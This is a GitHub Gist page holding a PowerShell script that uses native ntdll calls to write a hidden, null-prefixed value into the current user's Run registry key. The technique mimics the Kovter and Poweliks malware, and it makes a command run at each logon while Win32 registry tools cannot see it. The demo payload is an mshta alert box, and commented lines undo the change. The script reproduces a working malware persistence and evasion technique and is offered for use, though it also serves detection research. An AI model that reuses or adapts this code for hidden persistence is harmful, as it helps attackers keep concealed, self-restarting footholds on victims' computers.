Created
July 14, 2017 12:30
-
-
Save brianreitz/feb4e14bd45dd2e4394c225b17df5741 to your computer and use it in GitHub Desktop.
PowerShell script to hide a Run key like Reghide/Kovter/Poweliks
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# requires PSReflect.ps1 to be in the same directory as this script | |
. .\PSReflect.ps1 | |
$Module = New-InMemoryModule -ModuleName RegHide | |
# Define our structs. | |
# https://msdn.microsoft.com/en-us/library/windows/hardware/ff564879(v=vs.85).aspx | |
# typedef struct _UNICODE_STRING { | |
# USHORT Length; | |
# USHORT MaximumLength; | |
# PWSTR Buffer; | |
# } | |
$UNICODE_STRING = struct $Module UNICODE_STRING @{ | |
Length = field 0 UInt16 | |
MaximumLength = field 1 UInt16 | |
Buffer = field 2 IntPtr | |
} | |
$OBJECT_ATTRIBUTES = struct $Module OBJECT_ATTRIBUTES @{ | |
Length = field 0 UInt32 | |
RootDirectory = field 1 IntPtr | |
ObjectName = field 2 IntPtr | |
Attributes = field 3 UInt32 | |
SecurityDescriptor = field 4 IntPtr | |
SecurityQualityOfService = field 5 IntPtr | |
} | |
# ACCESS_MASK enum used to determine key permissions, used by NtOpenKey. | |
$KEY_ACCESS = psenum $Module KEY_ACCESS UInt32 @{ | |
KEY_QUERY_VALUE = 0x0001 | |
KEY_SET_VALUE = 0x0002 | |
KEY_CREATE_SUB_KEY = 0x0004 | |
KEY_ENUMERATE_SUB_KEYS = 0x0008 | |
KEY_NOTIFY = 0x0010 | |
KEY_CREATE_LINK = 0x0020 | |
KEY_WOW64_64KEY = 0x0100 | |
KEY_WOW64_32KEY = 0x0200 | |
KEY_WRITE = 0x20006 | |
KEY_READ = 0x20019 | |
KEY_EXECUTE = 0x20019 | |
KEY_ALL_ACCESS = 0xF003F | |
} -Bitfield | |
# ATTRIBUTES enum passed to an OBJECT_ATTRIBUTES struct. | |
$OBJ_ATTRIBUTE = psenum $Module OBJ_ATTRIBUTE UInt32 @{ | |
OBJ_INHERIT = 0x00000002 | |
OBJ_PERMANENT = 0x00000010 | |
OBJ_EXCLUSIVE = 0x00000020 | |
OBJ_CASE_INSENSITIVE = 0x00000040 | |
OBJ_OPENIF = 0x00000080 | |
OBJ_OPENLINK = 0x00000100 | |
OBJ_KERNEL_HANDLE = 0x00000200 | |
OBJ_FORCE_ACCESS_CHECK = 0x00000400 | |
OBJ_VALID_ATTRIBUTES = 0x000007f2 | |
} -Bitfield | |
# Function definitions, including parameters and Entrypoint names | |
$FunctionDefinitions = @( | |
(func ntdll NtOpenKey ([UInt32]) @( | |
[IntPtr].MakeByRefType(), #_Out_ PHANDLE KeyHandle, | |
[Int32], #_In_ ACCESS_MASK DesiredAccess, | |
$OBJECT_ATTRIBUTES.MakeByRefType() #_In_ POBJECT_ATTRIBUTES ObjectAttributes | |
) -EntryPoint NtOpenKey), | |
(func ntdll NtSetValueKey ([UInt32]) @( | |
[IntPtr], #_In_ HANDLE KeyHandle, | |
$UNICODE_STRING.MakeByRefType(), #_In_ PUNICODE_STRING ValueName, | |
[Int32], #_In_opt_ ULONG TitleIndex, | |
[Int32], #_In_ ULONG Type, | |
[IntPtr], #_In_opt_ PVOID Data, | |
[Int32] #_In_ ULONG DataSize | |
) -EntryPoint NtSetValueKey), | |
(func ntdll NtDeleteValueKey ([UInt32]) @( | |
[IntPtr], #_In_ HANDLE KeyHandle, | |
$UNICODE_STRING.MakeByRefType() #_In_ PUNICODE_STRING ValueName | |
) -EntryPoint NtDeleteValueKey), | |
(func ntdll NtClose ([UInt32]) @( | |
[IntPtr] #_In_ HANDLE ObjectHandle | |
) -EntryPoint NtClose), | |
(func ntdll RtlInitUnicodeString ([void]) @( | |
$UNICODE_STRING.MakeByRefType(), #_Inout_ PUNICODE_STRING DestinationString | |
[string] #_In_opt_ PCWSTR SourceString | |
) -EntryPoint RtlInitUnicodeString) | |
) | |
$Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace RegHide | |
$ntdll = $Types['ntdll'] | |
$KeyHandle = [IntPtr]::Zero | |
$DesiredAccess = $KEY_ACCESS::KEY_ALL_ACCESS | |
# To open the Current User’s registry hive, we need the user’s SID | |
$SID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value | |
$KeyName = "\Registry\User\$SID\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" | |
# We'll have to convert the KeyName from PowerShell string into a UNICODE_STRING | |
$KeyBuffer = [Activator]::CreateInstance($UNICODE_STRING) | |
$ntdll::RtlInitUnicodeString([ref]$KeyBuffer, $KeyName) | |
# Create our OBJECT_ATTRIBUTES structure | |
# We don’t have the InitializeObjectAttributes macro, but we can do it manually | |
$ObjectAttributes = [Activator]::CreateInstance($OBJECT_ATTRIBUTES) | |
$ObjectAttributes.Length = $OBJECT_ATTRIBUTES::GetSize() | |
$ObjectAttributes.RootDirectory = [IntPtr]::Zero | |
$ObjectAttributes.Attributes = $OBJ_ATTRIBUTE::OBJ_CASE_INSENSITIVE | |
# Here, we need a pointer to the UNICODE_STRING we created previously. | |
$ObjectAttributes.ObjectName = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($UNICODE_STRING::GetSize()) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($KeyBuffer, $ObjectAttributes.ObjectName, $true) | |
# These are set to NULL for default Security Settings (mirrors the InitializeObjectAttributes macro). | |
$ObjectAttributes.SecurityDescriptor = [IntPtr]::Zero | |
$ObjectAttributes.SecurityQualityOfService = [IntPtr]::Zero | |
$status = $ntdll::NtOpenKey([ref]$KeyHandle, $DesiredAccess, [ref]$ObjectAttributes) | |
"OpenKey status: 0x{0:x8}" -f $status | |
# Next, let's create our hidden value key and its data | |
# Our hidden value key name will be "\0abcd" and its data will be an alert box that triggers | |
# Note that the Null character in PowerShell is `0 | |
$ValueName = "`0abcd" | |
$ValueData = "mshta javascript:alert(1)" | |
$ValueNameBuffer = [Activator]::CreateInstance($UNICODE_STRING) | |
$ValueDataBuffer = [Activator]::CreateInstance($UNICODE_STRING) | |
# Since RtlInitUnicodeString takes in a null-terminated string (and won't return the correct name), | |
# we'll have to manually create the ValueName UNICODE_STRING. | |
# Allocate enough space for 2-byte wide characters | |
$ValueNameBuffer.Length = $ValueName.Length * 2 | |
$ValueNameBuffer.MaximumLength = $ValueName.Length * 2 | |
$ValueNameBuffer.Buffer = [System.Runtime.InteropServices.Marshal]::StringToCoTaskMemUni($ValueName) | |
# ValueData doesn't have any `0 characters, so we're good to use RtlInitUnicodeString | |
$ntdll::RtlInitUnicodeString([ref]$ValueDataBuffer, $ValueData) | |
# Fill out the remaining parameters for NtSetValueKey | |
$ValueType = 0x00000001 # REG_SZ Value Type | |
# "Device and intermediate drivers should set TitleIndex to zero." | |
$TitleIndex = 0 | |
$status = $ntdll::NtSetValueKey($KeyHandle, [ref]$ValueNameBuffer, $TitleIndex, $ValueType, $ValueDataBuffer.Buffer, $ValueDataBuffer.Length) | |
"SetValueKey status: 0x{0:x8}" -f $status | |
# uncomment these lines to clean up your registry key | |
# $status = $ntdll::NtDeleteValueKey($KeyHandle, [ref]$ValueNameBuffer) | |
# "DeleteValueKey status: 0x{0:x8}" -f $status | |
# Free the memory allocated after using AllocHGlobal | |
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ObjectAttributes.ObjectName) | |
# Close the handle to the key to clean up after we're done | |
$status = $ntdll::NtClose($KeyHandle) | |
"CloseKey status: 0x{0:x8}" -f $status |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment